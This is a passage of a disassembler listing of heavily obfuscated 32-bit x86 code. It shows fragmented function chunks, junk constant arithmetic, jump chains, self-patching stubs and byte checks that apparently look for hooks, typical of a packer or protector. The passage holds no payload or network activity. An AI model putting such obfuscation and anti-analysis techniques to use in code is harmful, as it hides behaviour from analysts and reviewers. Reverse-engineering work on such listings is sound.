		jnz	loc_43D9F0
		call	sub_43760A
		mov	edx, 0B9726E5Ah
		jmp	loc_43CFDB
; END OF FUNCTION CHUNK	FOR sub_443EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_437992:				; CODE XREF: sub_43E81B+B524j
		jnz	loc_43B083
		jmp	loc_4489E7
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------

loc_43799D:				; DATA XREF: sub_44E1BD-1419Co
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		add	eax, 0A3262511h
		jmp	loc_44E546
; ---------------------------------------------------------------------------
		push	edi
		push	0D4532932h
		pop	edi
		xor	edi, 9A535966h
		sub	edi, 0EDBE2394h
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4379C1:				; CODE XREF: sub_448EB6-3B5Fj
		jmp	loc_448854
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C1C

loc_4379C6:				; CODE XREF: sub_441C1C+Bj
		pop	ebx
		sub	edx, 307CC756h
		rol	edx, 2
		cmp	edx, 86944445h
		jmp	loc_448F55
; END OF FUNCTION CHUNK	FOR sub_441C1C
; ---------------------------------------------------------------------------
		push	esi
		jmp	sub_43F891
; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		call	sub_43CA1A
		mov	ds:dword_41E108, eax
		lea	eax, nullsub_281
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_281
; ---------------------------------------------------------------------------

loc_4379FF:				; CODE XREF: y22d6.y.:loc_439360j
		mov	eax, [esp]
		push	edx
		push	ebx
		jmp	loc_44B094
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_437A0A:				; CODE XREF: sub_43EC01-6826j
		jmp	loc_44814B
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
		sub	edx, edi
		jmp	sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C69

loc_437A16:				; CODE XREF: sub_441C69-A87Aj
		jge	loc_44B925
; END OF FUNCTION CHUNK	FOR sub_441C69
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_437A1C:				; CODE XREF: sub_44DB81-8AA5j
		jmp	nullsub_262
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		cmp	esi, 0D2A80412h
		jmp	loc_43B539
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4464C8

loc_437A2C:				; CODE XREF: sub_4464C8-B02Ej
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		push	offset loc_4384DB
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_4464C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_437A3F:				; CODE XREF: sub_44DF73-36F8j
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_437A44:				; CODE XREF: sub_44AEDA:loc_441B85j
		rol	edx, 0Ah
		add	edx, 0B437BA07h
		add	edx, ebp
		add	edx, 22DEA8E3h

loc_437A55:				; CODE XREF: y22d6.y.:loc_44B5A4j
		mov	[edx], eax

loc_437A57:				; CODE XREF: sub_437B10+DDAFj
		jmp	loc_4446F0
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_437A5C:				; CODE XREF: sub_444D45:loc_4464A3j
		jge	loc_44E663

loc_437A62:				; CODE XREF: y22d6.y.:0043F5C2j
		jmp	loc_43774B
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_437A67:				; CODE XREF: sub_44B1D2-F42Dj
		jmp	loc_43D524
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		cmp	edi, 925E2B66h
		jmp	loc_43DDCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447663

loc_437A77:				; CODE XREF: sub_447663:loc_44C5ECj
		jnz	loc_440B49
; END OF FUNCTION CHUNK	FOR sub_447663
; START	OF FUNCTION CHUNK FOR sub_441C04

loc_437A7D:				; CODE XREF: sub_441C04+Bj
		jmp	loc_4386DD
; END OF FUNCTION CHUNK	FOR sub_441C04
; ---------------------------------------------------------------------------
		popf
		jmp	loc_440B46
; ---------------------------------------------------------------------------

loc_437A88:				; CODE XREF: y22d6.y.:loc_44B6BFj
		jno	loc_43B5D1
		jmp	loc_447EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_437A93:				; CODE XREF: sub_44BF91:loc_43D652j
		add	esi, 9B944090h
		sub	eax, esi
		pop	esi
		jmp	loc_439689
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_437AA1:				; CODE XREF: sub_43A6E1j
		mov	eax, ds:dword_442554
		or	eax, eax
		jmp	loc_4426C4
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------

loc_437AAE:				; CODE XREF: y22d6.y.:0043C2B2j
		mov	eax, 0CBFF8196h
		xchg	eax, [esi]
		js	loc_44344C
		add	esi, ebx
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_437ABD:				; CODE XREF: sub_43BCA9:loc_43C29Fj
		add	edi, 37138DB7h
		xchg	edi, [esp+0]
		jmp	loc_445C69
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_373. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_437ACC:				; CODE XREF: sub_437B01+10449j
		jmp	loc_43A95A
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44469C

loc_437AD1:				; CODE XREF: sub_44469C-C8FEj
		jmp	loc_442096
; END OF FUNCTION CHUNK	FOR sub_44469C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_437AD6:				; CODE XREF: sub_442FA7+654Dj
		call	sub_44BEA6
; END OF FUNCTION CHUNK	FOR sub_442FA7
; START	OF FUNCTION CHUNK FOR sub_43CEE2

loc_437ADB:				; CODE XREF: sub_43CEE2+7A1Bj
		jmp	loc_445CD6
; END OF FUNCTION CHUNK	FOR sub_43CEE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_437AE0:				; CODE XREF: sub_442C0C+8j
		jmp	loc_44545C
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_437AE5:				; CODE XREF: sub_444581-B696j
		cdq

loc_437AE6:				; CODE XREF: sub_444581:loc_442758j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43FD9A
; END OF FUNCTION CHUNK	FOR sub_444581
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_437AF2:				; CODE XREF: y22d6.y.:0044E47Aj
		jmp	loc_447FCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8BF

loc_437AF7:				; CODE XREF: sub_44C8BF+Ej
		jmp	nullsub_220
; END OF FUNCTION CHUNK	FOR sub_44C8BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_437AFC:				; CODE XREF: sub_43BCA9-1AF8j
		jmp	loc_44B08C
; END OF FUNCTION CHUNK	FOR sub_43BCA9

; =============== S U B	R O U T	I N E =======================================



sub_437B01	proc near		; DATA XREF: sub_440494-8C95o

; FUNCTION CHUNK AT 00437ACC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004381F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A95A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BD72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D691 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044017D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447F44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004488F1 SIZE 00000005 BYTES

		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4397D9
		jmp	loc_4488F1
sub_437B01	endp


; =============== S U B	R O U T	I N E =======================================



sub_437B10	proc near		; DATA XREF: y22d6.y.:0043A766o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043959D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A462 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00443809 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004458B7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447DAC SIZE 00000005 BYTES

		push	ecx
		pushf
		push	59FDE89Bh
		pop	ecx
		xor	ecx, 47931B23h
		cmp	ecx, 56470ED3h
		jmp	loc_443809
sub_437B10	endp

; ---------------------------------------------------------------------------
		test	ebx, edx
		jmp	loc_4497E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_437B30:				; CODE XREF: sub_43E185-56BFj
		pushf

loc_437B31:				; CODE XREF: sub_43FC1E:loc_4404F6j
		push	eax
		lea	eax, loc_43DD07+1
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+10h+var_10]
		jmp	loc_448E13
; END OF FUNCTION CHUNK	FOR sub_43E185

; =============== S U B	R O U T	I N E =======================================



sub_437B43	proc near		; CODE XREF: y22d6.y.:0043A7B7j
					; sub_441651p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437726 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A1D3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043CAF8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D180 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F1F9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F4B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440A61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004413D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441660 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442E44 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004432B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00444360 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447FAA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044870A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A42D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AC43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B5E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C90C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044E019 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp-4+arg_0]
		mov	edx, esi
		pop	esi
		jno	loc_43D180
		jmp	loc_441660
sub_437B43	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_437B58:				; CODE XREF: y22d6.y.:loc_441C72j
					; y22d6.y.:00448CADj
		push	89BCFEFEh
		pop	eax
		xor	eax, 1848D675h
		push	offset loc_447292
		jmp	loc_439191
; ---------------------------------------------------------------------------

loc_437B6E:				; CODE XREF: y22d6.y.:0043E129j
		jb	loc_444DF9

loc_437B74:				; CODE XREF: y22d6.y.:004387B9j
		xor	edi, 0EEF991AAh
		sub	eax, edi
		pop	edi
		rol	eax, 12h
		jmp	loc_444081
; ---------------------------------------------------------------------------

loc_437B85:				; CODE XREF: y22d6.y.:loc_44595Ej
		add	ecx, 0D81D107Bh
		or	ecx, 0FF98399Eh
		add	ecx, 673DB8h
		xchg	ecx, [esp]
		jmp	sub_4480DE
; ---------------------------------------------------------------------------

loc_437B9F:				; CODE XREF: y22d6.y.:00437C2Bj
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_14

; =============== S U B	R O U T	I N E =======================================



sub_437BAD	proc near		; DATA XREF: .data:off_425E88o
		call	nullsub_19
		jmp	ds:dword_41E16C
sub_437BAD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_437BB8:				; CODE XREF: sub_44B674-679Bj
		jmp	loc_441BC7
; END OF FUNCTION CHUNK	FOR sub_44B674
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
		dw 0F089h
		dd 0E90000FCh, 257Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_437BC8:				; CODE XREF: sub_443EA2-64AFj
		push	eax
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_443EA2
; ---------------------------------------------------------------------------

loc_437BCF:				; CODE XREF: y22d6.y.:0044D82Ej
		jmp	loc_44B60D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_437BD4:				; CODE XREF: sub_448EB6-7F26j
		jmp	loc_448D87
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_437BDA:				; CODE XREF: sub_44807C-E654j
		jmp	loc_437CD1
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_437BDF:				; CODE XREF: sub_43D20E-2689j
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		jmp	loc_43BA3F
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_437BEA:				; CODE XREF: y22d6.y.:loc_44A64Aj
		add	eax, 35B72421h
		push	ecx
		push	8682643Ch
		pop	ecx
		add	ecx, 57D0DA19h
		or	ecx, 0CF66042Bh
		add	ecx, 20CC3B2Fh
		xchg	ecx, [esp]
		jmp	loc_442B5B
; ---------------------------------------------------------------------------

loc_437C11:				; CODE XREF: y22d6.y.:0044C63Ej
		mov	ebx, edx
		xchg	ebx, [esp]
		call	sub_44ABC9
		mov	eax, 3C248B30h
		call	sub_43CA1A
		mov	ds:dword_41E168, eax
		jmp	loc_437B9F
; ---------------------------------------------------------------------------

loc_437C30:				; DATA XREF: sub_44B267-CF2o
		xchg	ebx, [esp]
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_437C33:				; CODE XREF: sub_448EB6:loc_43F83Fj
		jmp	loc_449A42
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B196

loc_437C38:				; CODE XREF: sub_44B196-395Aj
		jz	loc_43A3A1
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_43A39A
		mov	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_44B196
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_437C4D:				; CODE XREF: sub_444D95+2A94j
		cmp	byte ptr [eax],	0E9h
		jmp	loc_43A109
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
		rol	ecx, 1Dh
		jmp	sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_437C5D:				; CODE XREF: sub_43C712:loc_440F3Aj
		jnz	loc_442697
		jmp	loc_44382C
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
		push	0EF2C6355h
		pop	eax
		or	eax, 844264A4h
		rol	eax, 0Dh
		jb	loc_4458FD
		or	edi, ebp
		jmp	loc_449B3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F8FE

loc_437C84:				; CODE XREF: sub_43F8FE+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_44BE7A
; END OF FUNCTION CHUNK	FOR sub_43F8FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_437C94:				; CODE XREF: sub_439F5A:loc_439F70j
		adc	edx, [esp+4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-18h]
		add	edx, 725C6D0Dh
		add	edx, 8DA3930Fh
		mov	edx, [edx]
		jmp	loc_43769F
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_437CB7:				; CODE XREF: sub_43AF5B+8034j
		jo	loc_447FDB

loc_437CBD:				; CODE XREF: sub_43AF5B:loc_44397Cj
		or	edi, 0C55A9292h
		add	edi, 30C5439Dh

loc_437CC9:				; CODE XREF: y22d6.y.:00441A03j
		mov	[edi], eax
		pop	edi
		jmp	loc_43B21F
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_437CD1:				; CODE XREF: sub_44807C:loc_437BDAj
		add	eax, 8A1EF206h
		add	eax, ebp
		add	eax, 38B18D62h
		mov	eax, [eax]
		popf
		mov	al, [eax]
		js	loc_4457E2
		jmp	loc_43E33E
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
		sub	eax, ebp
		jmp	sub_43BDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_437CF6:				; CODE XREF: sub_44B1D2-103A1j
		jnp	loc_43BCB4
		xchg	ecx, [edx]
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_437CFE:				; CODE XREF: sub_43C694-5539j
					; sub_43C694:loc_43949Bj ...
		push	offset loc_44E10D
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_43C694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_437D08:				; CODE XREF: sub_44BCC2+1AACj
		jl	loc_445F2D

loc_437D0E:				; CODE XREF: y22d6.y.:0043FB97j
		jmp	loc_43BADE
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		test	edi, esi
		jmp	loc_44A6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_437D1A:				; CODE XREF: sub_444541:loc_4407F0j
		push	4F2C89C0h
		pop	eax
		and	eax, ds:4000E1h
		xor	eax, 9572902Fh
		jmp	loc_44767E
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------

loc_437D31:				; CODE XREF: y22d6.y.:0043D1CAj
		jnz	loc_4422D0
		jmp	loc_444647
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_437D3D:				; CODE XREF: sub_43A58D:loc_44BF62j
		push	offset loc_43FC77
		jmp	loc_43C532
; END OF FUNCTION CHUNK	FOR sub_43A58D

; =============== S U B	R O U T	I N E =======================================



sub_437D47	proc near		; DATA XREF: sub_448EB6+2F2Fo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445ECB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449ECA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B2A4 SIZE 00000005 BYTES

		push	0CF20DC19h
		pop	esi
		rol	esi, 4
		add	esi, 0E360B64h
		popf
		jmp	loc_449ECA
sub_437D47	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_437D5C:				; CODE XREF: y22d6.y.:0043E656j
		push	eax
		mov	edx, eax
		push	eax
		push	17AC29AEh
		pop	eax
		sub	eax, 0BFAA1D55h
		add	eax, 0A8426D35h
		push	offset loc_43ADE8
		jmp	loc_43875A
; ---------------------------------------------------------------------------
		shr	ebx, 10h
		jmp	loc_4388E0
; ---------------------------------------------------------------------------
		shr	eax, 0Ah
		jmp	sub_44E3D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44469C

loc_437D8C:				; CODE XREF: sub_44469C+Dj
		mov	eax, 276E7523h
		push	ebx
		push	0E3E9B2ECh
		pop	ebx

loc_437D98:				; CODE XREF: y22d6.y.:0044389Aj
		sub	ebx, 0EA904784h
		jmp	loc_437AD1
; END OF FUNCTION CHUNK	FOR sub_44469C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_342. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_437DA4:				; CODE XREF: sub_4450FD+2369j
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		call	sub_4380AC

loc_437DB2:				; CODE XREF: sub_440494+8A05j
		jmp	loc_446E58
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

locret_437DB7:				; CODE XREF: y22d6.y.:loc_4447BAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_437DB8:				; CODE XREF: sub_44C980-13E25j
		jmp	loc_441518
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_437DBD:				; CODE XREF: sub_439051:loc_44582Dj
					; sub_439051+C7E8j
		xor	esi, 0FAF49CA5h
		xor	eax, esi
		pop	esi
		ror	eax, 11h
		sub	eax, 7B29549h
		push	edx
		jmp	loc_447B30
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_437DD5:				; CODE XREF: sub_44A359:loc_44CC7Bj
		or	eax, 598BC604h
		xor	eax, 0B8D27173h
		add	eax, ebp
		add	eax, 3AF67945h

loc_437DE9:				; CODE XREF: y22d6.y.:loc_440F29j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_43F152
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
		push	ecx
		push	5DF211B3h
		push	offset sub_44529A
		jmp	loc_4398B9
; ---------------------------------------------------------------------------

loc_437E03:				; CODE XREF: y22d6.y.:00441BF9j
		sub	esi, ebp
		cmp	ebp, edi
		jmp	loc_439A43
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_437E0D:				; CODE XREF: sub_441F08-1B41j
		pop	edi
		sub	eax, 3F881AB1h
		add	eax, 0EEAE2B1h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_44CDB7
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
		mov	eax, 0A4C05BA6h
		call	sub_43CA1A
		jmp	loc_44D7CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_437E31:				; CODE XREF: sub_441A2B:loc_44D75Dj
		mov	byte ptr [eax],	0C3h
		jmp	loc_440320
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ebx
		xchg	edx, [esp]
		push	2FED9CC0h
		jmp	loc_44C44E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_437E49:				; CODE XREF: sub_442C0C-6552j
		mov	esi, ebp
		pop	ebp
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jmp	loc_43907F
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_437E56:				; CODE XREF: y22d6.y.:0043A36Cj
		jle	loc_443AB8
		cdq

loc_437E5D:				; CODE XREF: y22d6.y.:loc_43A35Fj
		and	eax, 15F60CD4h
		add	eax, 0FA1FF49Dh
		call	loc_44339F
		jmp	loc_443394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_437E73:				; CODE XREF: sub_44E38B:loc_44E39Ej
		sub	eax, 680CF48Ah
		cmp	eax, 829CC774h
		jmp	loc_43ABAE
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------

loc_437E84:				; CODE XREF: y22d6.y.:0043D38Bj
		jl	loc_440CC0
		cmp	eax, ecx
		jmp	loc_439DA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_437E91:				; CODE XREF: sub_4428C2:loc_441A8Fj
		call	sub_441DC7
; END OF FUNCTION CHUNK	FOR sub_4428C2
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_437E96:				; CODE XREF: sub_4432B8-98D8j
		jmp	loc_44DA7A
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_43EE26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_437EA1:				; CODE XREF: sub_4432B8+A5B7j
		sbb	edi, 1D2A828h
		pop	edi

loc_437EA8:				; CODE XREF: sub_4432B8:loc_4417F1j
		call	sub_4418C5
		push	ecx
		test	eax, edi
		jmp	loc_44DCEA
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_437EB5:				; CODE XREF: y22d6.y.:00445AA7j
		sub	eax, 7822DBE9h
		xor	eax, 0C544642Bh
		mov	ds:dword_439048, eax
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_437EC7:				; CODE XREF: sub_44271A+54AFj
					; sub_44271A+7366j
		xor	eax, 0C544642Bh
		sub	eax, 87DD2417h
		push	offset loc_43AADF
		jmp	loc_43CA5D
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_437EDD:				; CODE XREF: sub_43EC01+9556j
		xchg	eax, [esp+0]
		call	sub_44B267
		mov	eax, 0D372DA5Dh
		call	sub_43CA1A
		push	edx
		push	8D815EB3h
		pop	edx
		jmp	loc_444BB0
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_437EFB:				; CODE XREF: sub_44AEDA+Cj
		pop	esi
		and	esi, 44F62352h
		sub	esi, 0E2E9AC49h
		or	esi, 0CB98A5EBh
		cmp	esi, 94C73598h
		jmp	loc_43A4D6
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_437F19:				; CODE XREF: sub_4432B8-60AFj
		js	loc_4398D8
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_437F1F	proc near		; CODE XREF: sub_438F42+13938p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_442C0C
sub_437F1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset loc_43F5C7
		jmp	locret_44215C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED31

loc_437F35:				; CODE XREF: sub_43ED31-3713j
		call	sub_44BCC2
		push	ebx
		push	offset sub_44AA69
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_43ED31
; ---------------------------------------------------------------------------

loc_437F45:				; DATA XREF: sub_442AFF+3o
		xchg	eax, [esp]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		push	0EA147BAAh
		pop	eax
		rol	eax, 0Eh
		jmp	loc_441A26
; ---------------------------------------------------------------------------

loc_437F5C:				; CODE XREF: y22d6.y.:0044C6EFj
		pop	ebx
		rol	ebx, 13h
		and	ebx, 0B23F9CAh
		add	ebx, 2A20CB4Fh
		and	ebx, 3D34758Bh
		add	ebx, 0D423C63Bh
		xchg	ebx, [esp]
		jmp	sub_44CDB7
; ---------------------------------------------------------------------------

loc_437F80:				; CODE XREF: y22d6.y.:0044AC4Cj
		jo	loc_43AFF5
		and	eax, 885758DEh
		jmp	loc_4441F7
; ---------------------------------------------------------------------------

loc_437F91:				; DATA XREF: sub_443778-2FACo
		mov	eax, [esp]
		push	edx
		call	sub_43887A
		push	0FF022E51h
		xchg	ecx, [esp]
		mov	eax, ecx
		shl	ecx, 10h
		jmp	loc_43E537
; ---------------------------------------------------------------------------

loc_437FAC:				; CODE XREF: y22d6.y.:loc_448651j
					; DATA XREF: sub_4389FD:loc_448647o
		add	eax, 0A330E9DAh
		add	eax, ebp
		push	edi
